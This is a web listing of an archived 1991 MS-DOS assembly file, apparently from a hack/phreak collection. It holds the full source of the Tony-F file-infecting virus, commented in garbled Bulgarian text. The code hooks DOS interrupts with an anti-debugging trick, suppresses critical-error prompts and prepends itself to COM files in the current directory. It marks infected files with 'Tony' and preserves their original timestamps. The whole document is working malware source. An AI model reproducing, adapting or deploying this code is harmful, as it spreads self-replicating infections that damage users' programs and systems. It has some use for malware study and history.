home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-T.ZIP / TONY-F.ASM < prev    next >
Assembly Source File  |  1991-06-12  |  8KB  |  201 lines

  1. ;------------------------------------------------------------------------------;
  2. ;                                                                              ;
  3. ;                               é¿░│▒ Tony-F                                   ;
  4. ;                                                                              ;
  5. ;  Tony_F Ñ »á░ế▓Ñ¡ ó¿░│▒,ñÑ⌐▒▓ó¿Ñ▓« ¼│ ▒Ñ ▒║▒▓«⌐ ó ▒½Ññ¡«▓« - »░¿ ▒▓á░▓¿░á¡Ñ;
  6. ; ¡á ºá░áºÑ¡ ┤á⌐½ ó¿░│▒║▓ »░Ñ▓║░▒óá ╢┐½á▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐ ¿ ºá░áº┐óá ó▒¿╖¬¿ ;
  7. ; ┤á⌐½«óÑ «▓ú«óá░┐╣¿ ¡á ?*.COM, ¬á▓« ? ºáó¿▒¿ «▓ ñá▓á▓á.                       ;
  8. ;  Tony-F ▒Ñ ¡á▒▓á¡┐óá »░Ññ¿ ¬«ñá ¡á ºá░áºÑ¡¿┐ ┤á⌐½, ó¿░│▒║▓ «░úá¡¿º¿░á        ;
  9. ; ▒«í▒▓óÑ¡á »░«╢Ññ│░ᠺᠫí░áí«▓¬á ¡á ¬░¿▓¿╖¡¿ ú░Ñ╕¬¿ (óѬ▓«░ 24h) ¿ ¡Ñ »░«¼Ñ¡┐;
  10. ; ñá▓á▓á ¿ ╖á▒á ¡á ºá░┐ºá¡¿▓Ñ ┤á⌐½«óÑ.                                         ;
  11. ;  Tony-F ¡á¼¿░á «░¿ú¿¡á½¡¿┐ áñ░Ñ▒ ¡á óѬ▓«░ 21h ¿ ú« »«▒▓áó┐ ó ▓áí½¿╢á▓á ¡á    ;
  12. ; »░Ѭ║▒óá¡¿┐▓á ¬á▓« óѬ▓«░ 3, ▓ế «»Ñ░á╢¿┐ »░Ñ╖¿ ¡á ÑóÑ¡▓│ὡ« ▓░á▒¿░á¡Ñ ¡á  ;
  13. ; ó¿░│▒á ▒ ñÑí│úÑ░.                                                            ;
  14. ;------------------------------------------------------------------------------;
  15.  
  16. ; á▒Ñ¼í½¿░á⌐▓Ñ ▒ Turbo Assembler 2.0+
  17.  
  18.         .model Tiny
  19.         .code
  20.  
  21.  
  22. VirLen  =       offset EndCode - offset Start           ; ä║½ª¿¡á ¡á ó¿░│▒á.
  23.  
  24. ;-----------------------------------------------------------------------------;
  25.  
  26.         Org     07Fh
  27.  
  28. INT24   db      ?                       ; Æ│¬ ╣Ñ í║ñÑ ¡á▒«╖Ñ¡ óѬ▓«░ 24h.
  29.  
  30.  
  31.         Org     0100h
  32.  
  33. NewDTA  db      15h dup (?)             ; æ▓░│¬▓│░á ¡á DTA.
  34. FAttr   db      ?
  35. FTime   dw      ?
  36. FDate   dw      ?
  37. FLen    dw      ?, ?
  38. FName   db      0Dh dup (?)
  39.  
  40. ;-----------------------------------------------------------------------------;
  41.  
  42.         Org     100h
  43.  
  44. Start:
  45.         push    ax                      ; çá»áºóá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
  46.  
  47. ;...... Æ│¬ ºá»«╖óá ▓║░▒Ñ¡Ñ▓« ¡á «░¿ú¿¡á½¡¿┐ óѬ▓«░ 21h ó ▒Ñú¼Ñ¡▓á ¡á äÄæ
  48.  
  49.         mov     ax,1203h
  50.         int     2Fh                     ; Å░«╖¿▓á ▒Ñ ▒Ñú¼Ñ¡▓á ¡á äÄæ.
  51.  
  52.         xor     si,si                   ; Ä░¿ú¿¡á½¡¿┐ óѬ▓«░ ▒Ñ ▓║░▒¿ »« »║░ó¿▓Ñ
  53. Again:                                  ; ▓░¿ íá⌐▓á - 2àh,3Çh ¿ 26h.
  54.         lodsw
  55.         cmp     ax,3A2Eh
  56.         je      NextByte
  57.         dec     si
  58.         jnz     Again
  59.         jmp     Done
  60. NextByte:
  61.         lodsb
  62.         cmp     al,26h
  63.         jne     Again
  64. Found:
  65.         sub     si,03
  66.  
  67.         mov     dx,si
  68.         mov     ax,2503H                ; óѬ▓«░ 21h ▒Ñ »«▒▓áó┐ ¡á ¼┐▒▓«▓« ¡á
  69.         Int     21h                     ; óѬ▓«░ 3.
  70.  
  71.         push    cs                      ; ó║º▒▓á¡«ó┐óá ▒Ñ ▒▓«⌐¡«▒▓▓á ¡á DS.
  72.         pop     ds
  73.  
  74. ;...... Å░Ñ¡á▒«╖óá¡Ñ ¡á óѬ▓«░ᠺᠬ░¿▓¿╖¡¿ ú░Ñ╕¬¿
  75.  
  76.         mov     INT24,0CFh              ; æ║ºñáóá ¡«ó óѬ▓«░ 24h - Iret
  77.         mov     ax,2524h
  78.         mov     dx,offset INT24
  79.         Int 3                           ; Å░Ñ¡á▒«╖óá óѬ▓«░á 24h.
  80.  
  81.  
  82.         mov     ax,cs
  83.         add     ah,10h
  84.         mov     es,ax                   ; ES = CS + 64 KBytes
  85.         mov     si,offset Start
  86.         xor     di,di
  87.         mov     cx,si                   ; Å░Ñ╡ó║░½┐ ¬«ñá ¡á ó¿░│▒á 64KBytes
  88.         rep     movsb                   ; »«-¡áú«░Ñ ó »á¼Ñ▓▓á.
  89.  
  90.         mov     dx,offset NewDTA        ; Å«▒▓áó┐ DTA ¡á ¡«ó áñ░Ñ▒.
  91.         mov     ah,1Ah
  92.         Int 3
  93.  
  94.         mov     ah,2Ah
  95.         Int 3                         ; ê▒¬á «▓ äÄæ ñá▓á▓á,
  96.         add     dl,'A'                  ; ¿ «▓ ¡Ñ┐ ▒Ñ »«½│╖áóá »║░óá▓á í│¬óá
  97.         mov     AllCom ,dl              ; ¡á ┤á⌐½«óÑ▓Ñ ºá ºá░áº┐óá¡Ñ.
  98.  
  99. ;...... çừ╖óá ▓║░▒Ñ¡Ñ ¡á ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
  100.  
  101.         mov     dx, offset AllCom       ; Æ║░▒¿ ó▒¿╖¬¿ '?*.COM' ┤á⌐½«óÑ.
  102.         mov     cl,110B
  103.         mov     ah,4Eh                  ; êºó¿¬óá Find First.
  104.         Int 3
  105.         jc      Done                    ; Å░«ñ║½ªáóá ¡á▓á▓║¬ »░¿ ½¿»▒á ¡á
  106.                                         ; ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
  107. FindNext:
  108.         mov     dx,offset Fname         ; é dx áñ░Ñ▒á ¡á ¿¼Ñ▓« ¡á ┤á⌐½á «▓ DTA.
  109.         mov     ax,3D02h                ; Ä▓óá░┐ ┤á⌐½á ºá ºá»¿▒/╖Ñ▓Ñ¡Ñ.
  110.         Int 3
  111.  
  112.         mov     bx,ax                   ; çá»áºóá ¡«¼Ñ░á ¡á «▓ó«░Ñ¡¿┐ ┤á⌐½.
  113.         push    ds                      ; çá»áºóá DS.
  114.         push    es
  115.         pop     ds                      ; DS = CS + 64 KBytes.
  116.  
  117.         mov     dx,VirLen               ; DX = ñ║½ª¿¡á▓á ¡á ó¿░│▒á .
  118.         mov     cx,-1                   ; Å░«╖¿▓á ▒Ñ ╢ѽ¿┐ ┤á⌐½ ¡á áñ░Ñ▒ - DS:DX .
  119.         mov     ah,3Fh                  ; Æá¼ ▒Ñ ¡á¼¿░á ó¿░│▒á,á ▒Ñúá ▒½Ññ ¡Ñú«
  120.         Int 3                           ; ¿ ┤á⌐½║▓.
  121.  
  122.                                         ; ôóѽ¿╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á(AX) ▒
  123.         add     ax,Virlen               ; ñ║½ª¿¡á▓á ¡á ó¿░│▒á.
  124.         jc      Close                   ; Å░¿ »░Ñ»║½óá¡Ñ ┤á⌐½║▓ ¡Ñ ▒Ñ ºá░áº┐óá.
  125.  
  126.         cmp     Byte ptr ds:[ Mark + VirLen -100h ],'T'         ; ä὿ ┤á⌐½║▓ Ñ ºá░áºÑ¡ óÑ╖Ñ ?
  127.         je      Close
  128.  
  129.         push    ax                      ; çá»áºóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á ó ▒▓Ѭá.
  130.  
  131.         xor     cx,cx
  132.         xor     dx,dx
  133.         mov     ax,4200h                ; Å░ѼÑ▒▓óá ▒Ñ │¬áºá▓ѽ┐ ¡á ┤á⌐½á(CX:DX)
  134.         Int 3                           ; ó ¡á╖Ὣ▓« ¼│.
  135.  
  136.         pop     cx                      ; Å░«╖¿▓á ñ║½ª¿¡á▓á ¡á ┤á⌐½á «▓ ▒▓Ѭá.
  137.                                         ; DX Ñ ░áó¡« ¡á 0 «▓ Fn 42.
  138.         mov     ah,40h                  ; Ä▓ áñ░Ñ▒á DS:DX ▒Ñ ºá»¿▒óá ¡á ñ¿▒¬á
  139.         Int 3                           ; ó¿░│▒ + ┤á⌐½.
  140.  
  141.         mov     cx,cs:FTime
  142.         mov     dx,cs:FDate             ; é║º▒▓á¡«ó┐óá▓ ▒Ñ ñá▓á▓á ¿ ó░ѼÑ▓« ¡á
  143.         mov     ax,5701h                ; ºá░áº┐óá¡¿┐ ┤á⌐½ «▓ DTA.
  144.         Int 3
  145.  
  146. Close:
  147.         pop     ds                      ; é║º▒▓á¡«ó┐óá DS.
  148.  
  149.         mov     ah,3Eh                  ; çá▓óá░┐ ┤á⌐½á.
  150.         Int 3
  151.  
  152.         mov     ah,4Fh
  153.         Int 3                           ; êºó¿¬óá Find Next,
  154.         jnc     FindNext                ; á¬« ¿¼á «╣Ñ ┤á⌐½«óÑ ó▒¿╖¬« ▒Ñ »«ó▓á░┐
  155.                                         ; ¿ ºá ▓┐╡.
  156.  
  157.  
  158. ;....... ìá╖Ὣ ¡á ▒▓á░▓¿░á¡Ñ ¡á »░«ú░á¼á▓á ¬║¼ ¬«┐▓« Ñ ºá¬á╖Ñ¡ ó¿░│▒á.
  159.  
  160. Done:
  161.         mov     dx,80h
  162.         mov     ah,1Ah
  163.         Int 3                           ; é║º▒▓á¡«ó┐óá ▒Ñ ▒▓á░¿┐ áñ░Ñ▒ ¡á DTA.
  164.  
  165.  
  166.         push    es
  167.         mov     ax,offset TransF -100h  ; Å░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á ó¿░│▒á
  168.         push    ax                      ; ¬«⌐▓« Ñ 64 KBytes »«-¡áú«░Ñ
  169.         RETF                            ; «▓ Ñ▓¿¬Ñ▓ TransF.
  170.  
  171. ;........................................
  172.                                         ; îá░¬¿░«ó¬á ºá ░ẻ«º¡áóá¡Ñ ¡á ºá░áºÑ¡¿
  173. Mark    db      'Tony'                  ; ┤á⌐½«óÑ.
  174. AllCom  db      '+'                     ;
  175.         db      '*.COM',0               ; îá▒¬á ºá ▓║░▒Ñ¡Ñ ¡á ó▒¿╖¬¿ ┤á⌐½«óÑ
  176. ;.......................................; ºá ºá░áº┐óá¡Ñ.
  177.  
  178. TRansF:
  179.         push    ds
  180.         pop     es
  181.  
  182.         pop     ax                      ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
  183.  
  184.         mov     si,offset EndCode       ; æ¼║¬óá ¬«ñá ¡á »░«ú░á¼á▓ᠺừ╖óá╣
  185.         mov     di,offset Start         ; ¡Ñ»«▒░Ññ▒▓óÑ¡« ▒½Ññ ó¿░│▒á ▒ 100h íá⌐▓á ¡áñ«½│.
  186.         push    ds                      ; Å«ñú«▓ó┐ áñ░Ñ▒á ó ▒▓Ѭᠺᠻ░Ñ╡«ñá
  187.         push    di                      ; ¬║¼ ¡á╖Ὣ▓« ¡á «░¿ú¿¡á½¡á▓á »░«ú░á¼á.
  188.         mov     cx,0FFF0h -102h -Virlen
  189.         rep     movsb
  190.  
  191.         RETF
  192.  
  193. ;-----------------------------------------------------------------------------;
  194.  
  195. EndCode:
  196.         Ret                             ; Ä▓ ▓│¬ ºá»«╖óá ºá░áºÑ¡á▓á »░«ú░á¼á
  197.  
  198. ;-----------------------------------------------------------------------------;
  199.  
  200. End     Start
  201.